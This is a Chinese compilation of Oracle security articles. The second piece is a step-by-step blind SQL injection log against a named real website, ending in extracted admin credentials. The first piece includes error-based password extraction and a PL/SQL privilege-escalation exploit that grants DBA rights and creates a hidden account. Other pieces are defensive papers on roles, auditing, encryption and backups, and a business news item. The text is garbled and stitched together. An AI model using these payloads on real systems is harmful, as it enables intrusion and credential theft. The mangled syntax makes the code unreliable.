Oracle安全
Oracle安全(精选11篇)
Oracle安全 第1篇
为什么需要oracle数据安全, 据统计截止2009年底, 据相关部门调查, 在德国741家公司中有被数据库入侵的家数高达百分之83.6, 造成直接经济损失2.8亿欧元。并按照被入侵次数按每年10%的速率增长, 受影响部门有销售部、设计部、人事部和市场部。攻击者大多是内部员工和业界竞争者。
又根据调查每个中等规模的公司, 大约需要1000左右的oracle数据库实例, 相当于300个生产数据库, 但是其中核心的数据库实例只占2%-5%, 平均每个DBA要管理30-100个数据库实例。10-20%的数据库是过期的版本, 80-90%的数据库运行相同的版本。
一般数据库应用中我们采用的结构为客户端、中间件和数据库服务器三层结构。即使这样我们还是有漏洞, 如没有统一的认证系统, 不能定时的更换密码, 在杀毒和防木马软件方面财力投入不够, 管理上缺乏安全意识等。
二、问题与解决方式
三、黑客攻击举例
1、弱密码攻击举例:
黑客可以通过命令c:>checkpwd system/secretpw@ora10104local password_file.txt进入本地文件glogin.sql和login.sql文件, 还可以通过sqlplus sys@ora10g4as sysdba连接glogin.sql文件, 从而达到创建用户和修改提升权限的目的。
2、利用系统漏洞:
在url_inaddr中默认有授权公共账户的域名解析, select utl_inaddr.get_host_name (127.0.0.1’) fromdual;通过修改错误信息得到系统账户, select url_addr.get_host_name ( (select username||=’||password from dba_users where rownum=1) ) from dba_users where rownum=1) ) from dual;从而得到系统密码。
3、通过SQL注入攻击:
http://ec.*****/prelex/detail_dossier_real.cfm?CL=en&Dosld=124131||url_inaddr.get_host_name ( (select%20’SID=’||global_name%20from%20global_name) ) , 这样可以得到SID, 同样道理通过改上述字段中的global_name为all_users可以得到相关用户信息。
4、PL/SQL入侵:
介绍一个典型的PL/SQL入侵create or replace function F1 return number authid current_user as pragma autonomous_transaction;begin execute immediategrant dba to public’;commit;return 1;end;/Expolit exec sys.kupw$WORKER.main (x’, ’YY’’and1=user1.f1–mytag12’) ;最后通过relogin或者运行set role dba变为DBA。 (create user hacker identified by hacker;crant dba to hacker;一些经验老道的黑客会隐藏自己的身份update sys.user$set datats#=777;
Commit;测试sqlplus hacker/hacker
四、解决方案
1、测试打开2-3个典型数据库
2、尝试定位问题所在
3、修复问题
4、安装补丁修改策略
5、扫描更多的数据库
五、介绍几款扫描工具
1、Sentrigo Hedgehog (图形加命令行的高级扫描漏洞软件)
2、RDSrepscan (容易上手的网页界面数据库扫描软件)
总结
1、数据库安全是一个循序渐进的过程, 它需要不断地修复和查找漏洞。
2、需要设置防火墙和入侵检测系统辅助管理员实施。
Oracle安全 第2篇
et.kpworld.com/star.asp?performer=马三立;
------------------------------------------------------
oraOLEDB错误
80040e14orA-00911:
invalidcharacter
/star.asp,行83
说明过滤了分号,
et.kpworld.com/star.asp?performer=马三立
----------------------------------------------------
oraOLEDB错误
80004005orA-01756:
括号内的字符串没有正确结束
/star.asp,行83
看来存在未过滤单引号问题。
et.kpworld.com/star.asp?performer=马三立and1=1
----------------------------------------------------------------
闭和他单引号,正常返回。
and0(selectcount(*)fromadmin)and1=1
-----------------------------------------------------------------
oraOLEDB错误80040e37orA-00942:
tableorviewdoesnotexist
/star.asp,行83
说明不存在ADMIN这个表.
******************************************************************
下面需要知道ORACLE的系统表:
确定表中行的总数:
selectnum_rowsfromuser_tableswheretable_name=表名
----------------------存放当前用户所有表
wheretable_name=表名
selectcolumn_name,
fromuser_tab_columns-----------------------存放所有列
wheretable_name=表名
and0(selectcount(*)fromall_tables)and1=1
---------------------------------------------------------------------
存在!
all_tables是一个系统表,用来存放当前ID和其他用户的所有表
and0(selectcount(*)fromuser_tables)and1=1
---------------------------------------------------------------------
返回。有这个系统表,这个表存放当前用户的所有表
and0(selecttop1table_namefromuser_tables)and1=1
---------------------------------------------------------------------------------
oraOLEDB错误80040e14orA-00923:
FROMkeywordnotfoundwhereexpected
/star.asp,行83
不支持TOP1?。。。。。。这种解释好象不太理想。。。
(经过PINKEYES测试已经确定确实不支持TOP1)
and0(selectcount(*)fromuser_tableswheretable_nam)
and1=1
--------------------------------------------------------------------------------------------
oraOLEDB错误80040e14orA-00904:
invalidcolumnname/star.asp,行83
当语法错误时,会显示无效列名字
and0(selectcount(*)fromuser_tableswhere
table_name)and1=1
--------------------------------------------------------------------------------------------
语法正确时,成功返回标志,看来四个单引号表示空.接下来是对一些函数的测试:
and0(selectcount(*)fromuser_tableswhere
sum(table_name)>1)and1=1
------------------------------------------------------------------------------------------------
oraOLEDB错误80040e14orA-00934:
groupfunctionisnotallowedhere
/star.asp,行83
组函数不允许在这里。
and0(selectcount(*)fromuser_tableswhereavg(table_name))and
1=1
-------------------------------------------------------------------------------------------
oraOLEDB错误80040e14orA-00934:
groupfunctionisnotallowedhere
/star.asp,行83
组函数不允许在这里。
and0(selectto_char(table_name)fromuser_tables)and%201=1
--------------------------------------------------------------------------
oraOLEDB错误80004005orA-01427:
single-rowsubqueryreturnsmore
thanonerow
/star.asp,行83
单行的子查询返回多于一行
and0(selectcount(*)fromuser_tableswheretable_name+1)
and%201=1
--------------------------------------------------------------------------
oraOLEDB错误80040e14orA-00920:
invalidrelationaloperator
/star.asp,行83
测试到这里,下面看看怎么弄出他的表来:
and0(selectcount(*)fromperformer)and%201=1
-----------------------------------------------------
成功返回。这里的表是看前面URL猜的.
and0(selectcount(*)fromuser_tableswhere
table_name=performer)and%201=1
-------------------------------------------------------------------------------------
没返回。失败标志。
and%200(select%20count(*)%20from%20user_tables%20where%20table_name=PERFORMER)
and%201=1
------------------------------------------------------------------------------------------------
成功了!看来这个user_tables表只认识大写字母!
and0(selectcount(*)fromuser_tableswhere
length(table_name)>10)and%201=1
------------------------------------------------------------------------------------
用length函数确定最长表的位数
and0(selectcount(*)fromuser_tableswhere
length(table_name)=18)and%201=1
-------------------------------------------------------------------------------------
省略若干步骤,最后确定最长表为18位。
and0(selectcount(*)fromuser_tableswhere
substr(table_name,1,1)=A)and%201=1
-----------------------------------------------------------------------------------------
第一位为A,
and0(selectcount(*)fromuser_tableswhere
substr(table_name,1,2)=AD)and%201=1
-----------------------------------------------------------------------------------------
第二位为AD
and0(selectcount(*)fromuser_tableswhere
substr(table_name,1,18)=ADMINAUTHORIZATION)and%201=1
---------------------------------------------------------------------------------------------
省略若干,18位的表名为ADMINAUTHORIZATION。
and1=(selectcount(*)fromuser_tableswhere
table_name=ADMINAUTHORIZATION)and%201=1
--------------------------------------------------------------------------------------------
返回。
and0(selectcount(*)fromuser_tableswhere
length(table_name)=2)and%201=1
----------------------------------------------------------------------------------
最小表名长度为2
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25user%25)%20and%20%201=1
-------------------------------------------------------------------------------------------------
没返回。
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25ADMIN%25)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25PER%25)
and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25BBS%25)%20and%201=1
-------------------------------------------------------------------------------------------------
都成功返回。看来可以利用LIKE猜。
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%25BBS%25%20and%20length(table_name)>8)
and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%25BBS%25%20and%20length(table_name)>10)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%25BBS%25%20and%20length(table_name)=10)%20and%201=1
-------------------------------------------------------------------------------------------------
利用LIKE和LENGTH组合猜,马上就能确定长度。
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,4)=BBSS)%20and%201=1
-------------------------------------------------------------------------------------------------
猜出第四位是S。接下来就是重复劳动了。
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,10)=BBSSUBJECT)%20and%201=1
-------------------------------------------------------------------------------------------------
猜出来了。BBSSUBJECT
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=BBSSUBJECT%20and%20column_name%20like%20%25USER%25)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=BBSSUBJECT%20and%20column_name%20like%20%25USER%25)%20and%201=1
-------------------------------------------------------------------------------------------------
没返回,不象是保存用户和密码的表。再来。。。
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25USER%25)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25USER%25%20and%20length(table_name)>10)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25USER%25%20and%20length(table_name)>15)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name%20like%20%25USER%25%20and%20length(table_name)=15)%20and%201=1
-------------------------------------------------------------------------------------------------
确定长度为15。
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,1,1)=U%20and%20length(table_name)=15)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,2,1)=S%20and%20length(table_name)=15)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20substr(table_name,-4,4)=USER%20and%20length(table_name)=15)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20length(table_name)=15%20and%20substr(table_name,-15,15)=UNSUBSCRIBEUSER)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name=UNSUBSCRIBEUSER)%20and%201=1
-------------------------------------------------------------------------------------------------
确定表名UNSUBSCRIBEUSER,接下来猜是否有密码字段,
。。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=UNSUBSCRIBEUSER%20and%20column_name%20like%20%25USER%25)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=UNSUBSCRIBEUSER%20and%20column_name%20like%20%25PASS%25)%20and%201=1
-------------------------------------------------------------------------------------------------
LIKEPASS,没返回,郁闷,继续。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20%25PASS%25%20and%20length(table_name)=13)%20and%201=1
-------------------------------------------------------------------------------------------------
返回。不准确。
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-2,2)=SS)
and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,6,2)=SS)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)=PASS)
and%201=1
-------------------------------------------------------------------------------------------------
这里用SUBSTR缩小范围.
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,4)=PASS%20and%20length(column_name)=11)%20and%201=1
-------------------------------------------------------------------------------------------------
含有PASS字段的字段长度11位。根据上面的从4位开始数4位是PASS那么PASS前是3位,后是4位,一共是11位。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,4,8)=PASSWORD)%20and%201=1
-------------------------------------------------------------------------------------------------
猜一下,果然是。。。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20substr(column_name,-11,11)=STRPASSWORD)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=STRPASSWORD)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=STRPASSWORD%20and%20length(table_name)=13)
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=STRPASSWORD%20and%20length(table_name)=13)%20and%201=1
-------------------------------------------------------------------------------------------------
全返回,确定密码字段名字STRPASSWORD。把密码字段抓到就好办了,再利用他抓表名:
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=STRPASSWORD%20and%20length(table_name)=13)
and1=1
-------------------------------------------------------------------------------------------------
返回,和上面猜出的表名长度符合。用SUBSTR猜出他名字:
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=STRPASSWORD%20and%20substr(table_name,1,13)=ADMINISTRATOR)
and1=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20column_name=STRPASSWORD%20and%20table_name=ADMINISTRATOR)
and1=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tables%20where%20table_name=ADMINISTRATOR)
and1=1
-------------------------------------------------------------------------------------------------
全返回,确定表名为:ADMINISTRATOR.
and%208=(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR)
and1=1
-------------------------------------------------------------------------------------------------
猜出表里有8个字段。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20column_name%20like%20%25ID%25)%20and%201=1
-------------------------------------------------------------------------------------------------
and%203=(select%20count(*)%20from%20ADMINISTRATOR)and1=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20substr(column_name,4,2)=ID)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20substr(column_name,-2,2)=ID)%20and%201=1
-------------------------------------------------------------------------------------------------
可以判断是ID结尾了,长度为5。
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20substr(column_name,-5,5)=LNGID)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20column_name=LNGID)%20and%201=1
-------------------------------------------------------------------------------------------------
出来了,LNGID。
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(LNGID)=2)%20and%201=1
-------------------------------------------------------------------------------------------------
and%208=(select%20min(LNGID)%20from%20ADMINISTRATOR)%20and%201=1
-------------------------------------------------------------------------------------------------
and%=(select%20max(LNGID)%20from%20ADMINISTRATOR)%20and%201=1
-------------------------------------------------------------------------------------------------
最小ID,最大ID也出来,接下来弄密码:
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20length(STRPASSWORD)=4%20and%20LNGID=8)%20and%201=1
-------------------------------------------------------------------------------------------------
LNGID为8的密码长度为4
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,1,1))=116%20and%20LNGID=8)%20and%201=1
-------------------------------------------------------------------------------------------------
第一位
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,2,1))=101%20and%20LNGID=8)%20and%201=1
-------------------------------------------------------------------------------------------------
第二位
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,3,1))=115%20and%20LNGID=8)%20and%201=1
-------------------------------------------------------------------------------------------------
第三位
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20ascii(substr(STRPASSWORD,4,1))=116%20and%20LNGID=8)%20and%201=1
-------------------------------------------------------------------------------------------------
第四位
STRPASSWORD:test
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=test%20and%20LNGID=8)%20and%201=1
-------------------------------------------------------------------------------------------------
OH,YEAH~~密码出来了。
接着搞用户名:
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20column_name%20like%20%25NAME%25)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20substr(column_name,4,4)=NAME)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20substr(column_name,-4,4)=NAME)%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20substr(column_name,1,7)=STRNAME)%20and%201=1
-------------------------------------------------------------------------------------------------
出来了,字段:STRNAME
and%200(select%20count(*)%20from%20user_tab_columns%20where%20table_name=ADMINISTRATOR%20and%20column_name%20not%20in(STRNAME,STRPASSWORD,LNGID))%20and%201=1
-------------------------------------------------------------------------------------------------
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=test%20and%20LNGID=8%20and%20length(STRNAME)=4)%20and%201=1
-------------------------------------------------------------------------------------------------
STRNAME值长度为4,不会是和密码相同吧。。。
and%200(select%20count(*)%20from%20ADMINISTRATOR%20where%20STRPASSWORD=test%20and%20LNGID=8%20and%20STRNAME=test)%20and%201=1
-------------------------------------------------------------------------------------------------
呵呵,果然。
表名ADMINISTRATOR,列名:STRNAME,STRPASSWORD,LNGID
LNGID=8STRNAME=testSTRPASSWORD=test
Oracle安全 第3篇
关键词:ORACLE数据库;权限管理;用户控制;审计;数据加密
中图分类号:G250.74 文献标识码:A 文章编号:1007-9599 (2012) 10-0000-01
数据库在企事业单位得到了越来越广泛地应用,数据库中存在着许多关键数据,这些数据对于企事业单位有着至关重要的作用;因此,数据库安全方面的问题就显得极为重要,必须加强对数据库安全技术的研究。Oracle数据库是应用最为广泛的数据库系统,因此如何保证Oracle数据库的安全有着极为重要的意义。
Oracle数据库在通常条件下可以保证数据库的安全性和稳定性,如果数据库的操作系统受到其他计算机或者网络的故障影响,那么数据的安全性就会受到威胁,甚至出现Oracle数据库瘫痪的现象。为了保证数据库的安全性,必须对数据库采用安全技术来保证系统的正常运行,确保数据的绝对安全和可靠。
一、权限管理
数据库的安全问题离不开用户,用户在对数据库中的数据进行访问甚至修改本身就对数据库产生了较大的影响,因此,用户是数据库安全性的保障。通过对用户的访问权限进行控制,在一定程度上可以增强数据库的安全性和数据的保密性。对用户的权限控制可以采用授予和收回等方法有效地进行权限管理。
(一)对不同的用户进行权限分级设置,即按照工作的需要把用户进行分级管理,让每一个等级的用户满足其自身工作的需要即可,防止不同等级的用户对数据进行误操作,根据等级的不同对用户访问的数据范围进行设置;
(二)用户可以对自己的数据进行设置,只允许某一个或某部分用户可以对数据进行访问但是不可以进行修改;
(三)对于一些具有特殊权限的用户,他们可以对数据进行修改,但是不可以把修改数据的权利转让给没有修改权限的用户;
(二)数据库管理员可以对数据库里面所有的数据和文件具有进行创建、修改和删除的权利,可以对数据库中的相关文件进行编辑和完善,并且定期对数据库进行检查,将一些有害的信息删除掉,以确保数据库的绝对安全。
二、用户控制
为了规范数据库中的资料管理,以保证数据库的安全性和数据的保密性,对数据库中的不同用户采用不同的用户控制方式。
(一)对于普通用户,即:权限对象,我们可以通过数据加密的方式来进行数据访问。如:在客户端的文件中设置访问密码,在服务器端文件中进行访问设置等;
(二)对于终端用户,其安全性就更为重要了,很多企事业单位的数据库都是采用为用户创建角色的方式把所需要的文件和权限分配给所有的用户角色。对于终端用户来说,其权限的管理可以用角色来达到实施的目的;
(三)对数据库管理者的安全性进行设定也是非常重要的,如对管理者的用户密码进行定期修改,可以有效地防止非法用户盗取管理者的密码,避免非法用户对数据库进行访问;可以通过密码和相关认证使管理者使管理者进入数据库,以保证安全性,通过对某些默认的用户或者失效的用户进行筛选,保证数据库的安全性和稳定性。
三、审计
任何数据库都有可能存在安全隐患,Oracle数据库采用审计功能来对各个用户进行监视和记录他们的活动情况,数据库的审计记录存放在SYS 方案中。初始状态的Oracle数据库审计功能是不开启的,这是因为开启审计功能会对数据库的性能造成一些影响。Oracle数据库支持三种类型的审计,即语句审计、权限审计和方案对象审计。语句审计是针对 DDL、DML 语句的审计,如/ AUDIT TABLE0语句审计就是针对所有的CREATE 和DROP TABLE 语句进行审计;权限审计是对系统权限的审计,并且是有权限限制的,如只针对/ CREATETABLE0的权限审计,则只对CREATE TABLE语句进行审计;方案对象审计是针对特定的 DML 语句和特定方案对象的GRANT、REVOKE 语句的审计。
四、数据加密
Oracle数据库的最后一道防线是对数据进行加密,Oracle数据库在操作系统中以文件的形式进行存储;如果数据库遭受外来入侵,入侵者就可以直接对数据库中的文件进行数据修改,甚至伪造数据库中的文件内容。Oracle数据库这些安全隐患一般用户很难发现,可以采用对数据库的管理系统进行分层次加密来解决,它可以在数据库遭受安全攻击时有效地保障数据的安全,通常在下面三个层对数据进行数据加密:
(一)操作系统OS层加密。OS层不能准确辨认数据库文件中的数据关系,从而无法产生合理的密钥,对密钥进行合理的管理和使用是非常困难的。所以,对企事业单位的大型数据库在OS层对数据库文件进行加密实现起来难度较大。
(二)数据库管理系统DBMS内核层加密。这种加密方法是在物理存取数据之前完成加/解密工作,加密的功能十分强大,且加密后不会受到影响DBMS的功能,实现了加密功能与数据库管理系统之间的无缝衔接;但是加密运算在服务器端进行,加重了服务器的负载,而且DBMS和加密器之间的接口需要DBMS 开发商的支持。
(三)数据库管理系统DBMS外层实现加密。这种加密方式是将数据库加密系统做成DBMS的一个外层工具,根据加密的具体要求自动对数据进行的加/解密处理,这种方式加/解密运算在客户端进行,不会加重数据库服务器的负载并且可以实现网上传输的加密,但是加密功能受到了一定限制,与数据库管理系统之间的衔接不是很好。
Oracle9i在 Oracle10g中增加了DBMS_CRYPTO包用于数据加密/解密,支持DES、AES等多种加密/解密算法。
五、结论
通过对Oracle数据库安全技术进行分析,并且在 Oracle9及以上版本的数据库上进行了实际的应用,从而保证Oracle数据库安全稳定地运行。
参考文献:
[1]蒋卫.基于Oracle的ICCAM系统设计与开发[D].无锡:江南大学,2009
[2]孙银昌,夏跃伟,刘兰兰.ORACLE数据库安全策略和方法[J]煤炭技术,2012,(3)
[3]于淑云,马继军.Oracle数据库安全问题探析与应对策略[J].软件导刊,2010,(10)
[4]李红,刘志杰,謝晓尧.Oracle分布式数据库系统及网络安全策略研究[J].贵州师范大学学报(自然科学版),2011,(8)
[作者简介]
ORACLE数据库系统安全探讨 第4篇
1 Oracle数据库中的现有的安全策略
众所周知,大型关系型数据库产品Oracle是目前企业中应用最广的数据库产品之一,位于所有企业型数据库之首,但是一个如此成熟的企业级软件在使用中也仍然存在着安全隐患,仍需要数据库管理员制定完整的安全策略,以最大程度地保证数据库的完整性和可用性。现有的Oracle数据中的安全策略大致可分:数据库安全策略、用户安全策略、系统安全策略和审计策略。
1.1 数据库的安全
数据库的安全主要包括数据库运行的稳定性和数据库用户角色的管控两个方面。
1.1.1 数据库运行的稳定性
在大型的生产环境中每天都会产生大量的告警数据,在这些数据中隐藏着很多有价值的信息。这些信息可用来过滤冗余的告警,在网络中进行故障定位和预测严重的错误。但这些信息是隐藏在数据中的,通过数据挖掘才能获得。在告警数据中可挖掘出各种不同类型的知识。经常对数据库告警日志(alert_
1)每天对Oracle数据库的运行状态、日志文件、备份情况、数据库的空间使用情况、系统资源的使用情况进行检查,发现并解决问题。
2)每周对数据库对象的空间扩展情况、数据的增长情况进行监控,对数据库做健康检查,对数据库对象的状态做检查。
3)每月对表和索引等进行Analyze,检查表空间碎片,寻找数据库性能调整的机会,进行数据库性能调整,提出下一步空间管理计划。对Oracle数据库状态进行一次全面检查。
1.1.2 数据库用户角色的管控
不要给数据库用户提供比其需要的还要多的权限。换句话说,只给用户真正需要的、为高效和简洁地完成工作所需要的权限。
要限制数据库管理员用户的数量,在任何一个服务器中,管理员具有最高的权限。为了让数据库维持正常的运转,必须给数据库配置管理员账户。否则的话,当数据库出现故障的时候,就没有合适的用户对其进行维护了。但是,这个管理员账户的数量要严格进行限制。不能为了贪图方便,把各个用户都设置成为管理员。数据库管理员必须有create和delete文件的操作权限,而一般数据库用户不应该有create或delete与数据库相关文件的操作权限。如果操作系统能为数据库用户分配角色,那么数据库安全管理者必须有修改操作系统账户安全性区域的操作权限。作为数据库安全管理者应注意从如下几个方面对数据库用户进行安全管控:
首先,要使用“角色”对数据库用户权限进行管理,数据库安全性管理者必须针对终端用户制定安全性策略。例如,对于一个有很多用户的大规模数据库,安全性管理者可以决定用户组分类,为这些用户组创建用户角色,把所需的权限和应用程序角色授予每一个用户角色,以及为用户分配相应的用户角色。当处理特殊的应用要求时,安全性管理者也必须明确地把一些特定的权限要求授予给用户。您可以使用“角色”对终端用户进行权限管理。
其次,保护作为sys和system用户的连接。当数据库创建好以后,立即更改有管理权限的sys和system用户的密码,防止非法用户访问数据库。当作为sys和system用户连入数据库后,用户有强大的权限用各种方式对数据库进行改动。应该只有数据库管理员能用管理权限连入数据库,当以sysdba用户登陆可以执行startup、shutdown、recover或对数据库对象(例如create,drop,和delete等进行没有任何限制的操作。
1.2 数据库的备份策略
当我们使用一个数据库时,总希望数据库的内容是可靠的、正确的,但由于计算机系统的故障(包括机器故障、介质故障、误操作等),数据库有时也可能遭到破坏,这时如何尽快恢复数据就成为当务之急。如果平时对数据库做了备份,那么此时恢复数据就显得很容易。由此可见,做好数据库的备份是多么的重要。
1.2.1 磁带库容量的估算
根据要求,备份设备容量应该满足系统两次完整备份的空间及备份周期内日常增量备份及数据库归档备份需求,备份周期内日常增量和数据库归档备份各按照1个全备份估算容量,则系统脱机备份量约相当于当前联机数据有效容量的4个全备份。
1.2.2 数据备份策略建议
根据数据的实时性、重要性、大小和变动频率不同,数据库备分可以分为归档和非归档备份模式:
1)归档数据库:采用RMAN在线备份方式备份(LAN-FREE)。同时结合exp逻辑导表备份方式。备份归档日志可根据存放归档日志的文件系统大小决定频率(一般每4小时一次),在夜间通过全量和增量结合的方式,备份数据库,如以周为单位,周日运行全备,周一到周六运行增量备份。同时,每天晚上,将重要的表导出并压缩备份。全量和增量结合的备份方式,如果两个全量备份之间的时间间隔太长,则使数据库恢复的时间变长,因此,建议系统初期,由于数据不大,可以采用每天全备份的方式,备份时间为夜间23:00(根据具体情况而定),备份周期为每天一次,这样可以避免因归档太多而导致恢复时消耗太多时间,备份保存周期定为3天。对于归档日志备份,每4小时备份一次。归档日志的保存周期为3天。
2)非归档数据库:LAN-FREE备份方式,逻辑导表模式,在系统初期,数据库不大时,可以每天晚上,全库导出并压缩备份,每天一次;数据量增长后,可采用全备和增量结合的方式,如计费数据库每周六做一个全库导出备份,周日到周五做增量备份,对于查询数据库,增量备份的频率可以少一些,每周一个全备加2个增量备份。
2 保障数据库稳定运行的自动预警策略构想
2.1 Oracle数据库维护中存在的主要问题
1)缺乏对这些服务器和数据库集中监控的手段,对服务器和数据库的维护主要靠手工分别登录到相应的服务器上,并以手工敲命令的形式来实现。
2)管理方式不直观,对技术人员有一定的专业要求,由于受水平所限,有时难以在需要时找到技术手段来发现问题的症结所在,拖延了故障的排除时间。
3)如果全面查询一遍系统的状态,速度太慢,由于服务器数量多,且是复杂变化的动态系统,从操作系统到数据库的所有状态都手工查询一遍几乎是不可能的,只能查看几项重要的参数,从而难以使一些问题被及时发现解决。
4)只能查看数据库的实时状态,许多历史数据无法保存以做分析和优化之用。
5)现有的工作方式被动。有不少问题,只有等到问题暴露之后(如表、索引无法扩展,导致前台工作陷于停顿)才能得到解决,不但拖延了时间,而且对业务造成负面影响。
6)无法了解众多服务器和数据库的运行状态。因为对服务器和数据库没有一个有效的监控工具,动态全方位地掌握、评估系统运行的状况等等。
2.2 自动预警系统的构想
可以通过将系统管理员的手动操作传化为利用Shell开发服务器运行程序。系统通过自动TELENT验证登录到各台主机服务器上。然后再执行相应的指令(包括服务器负载、0RACLE数据进程检查、系统诊断信息等),最终获取相应的执行结果,对系统的诊断信息、系统硬盘空间、系统平均负荷、数据库系统进程检查等结果进行分析处理。然后再对处理完的结果进行LOG并保存在数据库中,对于异常或超门限的指标进行邮件或短信预警。定期对LOG进行必要的分析,从而分析出主机服务器性能的大致发挥情况。
2.3 自动预警系统的可行性和必要性。
在实施服务器和数据库自动预警系统后,能够对数据库性能及安全进行集中监控管理,对服务器和数据库实行全面监控,有利于管理人员对主机服务器系统的性能进行进一步的了解,从而达到优化系统的作用。对服务器和数据库实行全面监控,及时对数据库结构进行重组优化,提前发现和解决问题,保证服务器和数据库的性能处于良好状态,避免可能造成的损失和影响。系统通过实时和定时两种方式,对服务器系统和数据库的告警信息进行分析,对超过预警门限值和告警级别较高的信息通过短信实时发送给系统管理员,使系统管理员在第一时间掌握服务器和数据库的告警信息,及时做出准确的判断,并采取相应的措施进行处理。
摘要:数据库安全问题一直是困扰数据库管理员的主要问题,针对Oracle数据库中的安全问题,总结了Oracle中必要的安全设置,并对数据库安全的自动预警提出了可行的策略。
关键词:数据库,安全,预警
参考文献
[1]oracle10g库管理员使用大全[M].北京:清华大学出版社,2001.
[2]王珊萨师煊数据库系统概论[M].北京:高等教育出版社,2006.
[3]王曦.关于SQL Server数据库安全设置的探讨[J].福建电脑,2008(10).
[4]颜文胜.数据库安全问题的策略研究[J].科技资讯,2007(24).
[5]金鹏.主机数据库预警系统设计[J].福建电脑,2006(7).
Oracle中国大破大立 第5篇
“在亚太企业应用市场,我们已经让SAP感觉如芒刺在背。”
2005年4月26日的新闻发布会上,Oracle亚太区应用及行业副总裁Mark Gibbs的开场白借用了两个重量级拳击手的画面。其中红色腰带的一方代表Oracle,而蓝色腰带的一方,Mark Gibbs则以美国式幽默让大家“随便怎么猜”,但很明显,以蓝色为主色调的SAP就是这一红蓝相争的另一主角。
